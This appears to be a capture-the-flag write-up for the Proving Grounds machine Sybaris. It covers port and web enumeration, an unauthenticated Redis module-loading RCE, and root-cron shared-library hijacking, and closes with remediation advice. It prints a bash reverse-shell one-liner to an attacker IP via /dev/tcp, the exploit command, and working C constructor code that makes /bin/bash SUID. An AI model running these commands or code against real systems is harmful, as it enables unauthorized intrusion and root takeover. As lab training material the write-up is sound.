
This Sybaris OffSec Practice Writeup covers the Proving Grounds machine: an unauthenticated Redis module-loading RCE for the foothold and an LD_LIBRARY_PATH shared library hijack on a root cron job to escalate to root.
Summary
Sybaris exposes anonymous FTP, a CentOS/Apache/PHP web application, and an unauthenticated Redis instance. Directory and file enumeration of the web app turns up nothing directly exploitable, but the exposed Redis service (version 5.0.9) is vulnerable to an unauthenticated module-loading RCE, giving an initial foothold as the service user. A web configuration file leaks a plaintext credential for a local user, confirming the pivot. Local enumeration then reveals a root-owned cron job that depends on a missing shared library; because the cron job’s LD_LIBRARY_PATH includes a world-writable directory, planting a malicious shared object with a constructor payload there achieves root code execution the next time the cron job fires.
Reconnaissance
rustscan -a 192.168.214.93 -- -A -oN target
| PORT | SERVICE | INFO |
|---|---|---|
| 21/tcp | vsftpd 3.0.2 | Anonymous FTP login allowed; pub directory world-writable |
| 22/tcp | OpenSSH 7.4 | protocol 2.0 |
| 80/tcp | Apache/2.4.6 (CentOS) PHP/7.3.22 | – |
| 6379/tcp | Redis 5.0.9 | Unauthenticated access |
Anonymous FTP login (anonymous:anonymous) succeeds, but the only visible directory, pub, is empty aside from write permissions for everyone — a dead end on its own.
Web Enumeration
feroxbuster -u http://192.168.214.93/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt -x php,txt,html,bak,env -t 50 -C 404 -r
Interesting paths discovered, none of which yield a usable vector on their own:
/login/sitemap.xml/system/admin/admin.php/humans.txt/robots.txt
With the web application exhausted, attention shifts to the unauthenticated Redis instance identified during the port scan.
Initial access
Redis 5.0.9 has no authentication configured (requirepass unset), allowing any client to connect and issue administrative commands. Rather than the classic CONFIG SET/web-shell route (no confirmed writable web root), the public module-loading RCE Redis-RCE-5.0.9 is used, which loads a malicious shared-object module via MODULE LOAD and registers a command that executes arbitrary OS commands:
python3 Redis-RCE-5.0.9/redis-rce.py -r 192.168.214.93
This grants command execution as the Redis service account. For a stable, fully interactive shell, a reverse shell is sent to a penelope listener:
# Attacker
penelope -O -p 21
# Executed via the Redis RCE command channel
bash -i >& /dev/tcp/192.168.45.175/21 0>&1
The first flag is retrieved at /home/pablo/local.txt.
Enumerating the web application’s configuration files from the new shell reveals a plaintext credential for the local user pablo:
[pablo@sybaris users]$ cat pablo.ini
password = PostureAlienateArson345
role = admin
sudo -l shows no usable entries for pablo, so privilege escalation requires further local enumeration.
Privilege escalation
Running LinPEAS surfaces a root-owned cron job:
/usr/bin/log-sweeper
Attempting to execute it directly fails with a missing shared library:
[pablo@sybaris html]$ /usr/bin/log-sweeper
/usr/bin/log-sweeper: error while loading shared libraries: utils.so: cannot open shared object file: No such file or directory
LinPEAS also reports the environment used to run it:
LD_LIBRARY_PATH=/usr/lib:/usr/lib64:/usr/local/lib/dev:/usr/local/lib/utils
/usr/local/lib/dev is writable by pablo, and ldd confirms utils.so is the unresolved dependency the dynamic linker is searching for:
[pablo@sybaris html]$ ldd /usr/bin/log-sweeper
linux-vdso.so.1 => (0x00007fff3c3c6000)
utils.so => not found
libc.so.6 => /lib64/libc.so.6 (0x00007f8f0fae5000)
/lib64/ld-linux-x86-64.so.2 (0x00007f8f0feb3000)
This is a textbook Shared Library Hijacking (LD_LIBRARY_PATH) scenario: a malicious utils.so dropped into the writable search directory will be loaded by log-sweeper the next time cron triggers it, and its constructor will run as root.
A minimal module with a constructor payload is written locally:
#include <stdio.h>
#include <stdlib.h>
// The constructor is called automatically when the library is loaded
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
system("chmod u+s /bin/bash");
}
The source is uploaded to the target (via penelope’s F12 file-transfer menu and upload utils.c), compiled, and placed in the writable directory:
gcc -shared -fPIC -o utils.so utils.c
mv utils.so /usr/local/lib/dev/
After the cron job’s next run:
[pablo@sybaris dev]$ ls -la /bin/bash
-rwsr-xr-x. 1 root root 964536 Mar 31 2020 /bin/bash
[pablo@sybaris dev]$ /bin/bash -ip
bash-4.2# id
uid=1000(pablo) gid=1000(pablo) euid=0(root) groups=1000(pablo)
Root is confirmed, and the final flag is retrieved at /root/proof.txt.
Conclusion
Sybaris chains two root-cause issues: an internet-facing service left completely unauthenticated, and a scheduled task whose runtime environment trusted a writable, non-standard library search path.
- Redis with no
requirepassturned a cache/data store into a full remote-code-execution primitive via the legitimateMODULE LOADadministrative command — a reminder that "internal-only" services still need authentication and binding restrictions even inside a segmented network, since any foothold reaching port 6379 inherits whatever privileges the Redis process holds. - Plaintext credentials in application configuration files (
pablo.ini) widened the blast radius of the initial foothold by handing over a named local account. LD_LIBRARY_PATHpointing at a world-writable directory for a root cron job is functionally equivalent to a writablePATHentry for command binaries: any user who can write into that directory can inject code that runs with the cron job’s privileges. The use of a GCCconstructorattribute made exploitation trivial — no modification tolog-sweeperitself was needed, just satisfying its missing dependency with attacker-controlled code.
Remediation: enable Redis authentication (or bind it to loopback/VPN-only interfaces and disable MODULE/CONFIG via rename-command), stop storing credentials in plaintext configuration files reachable from the web root, and audit every cron job’s exported environment for writable directories in LD_LIBRARY_PATH/PATH, ensuring all required shared libraries are shipped and installed under root-owned, non-writable paths.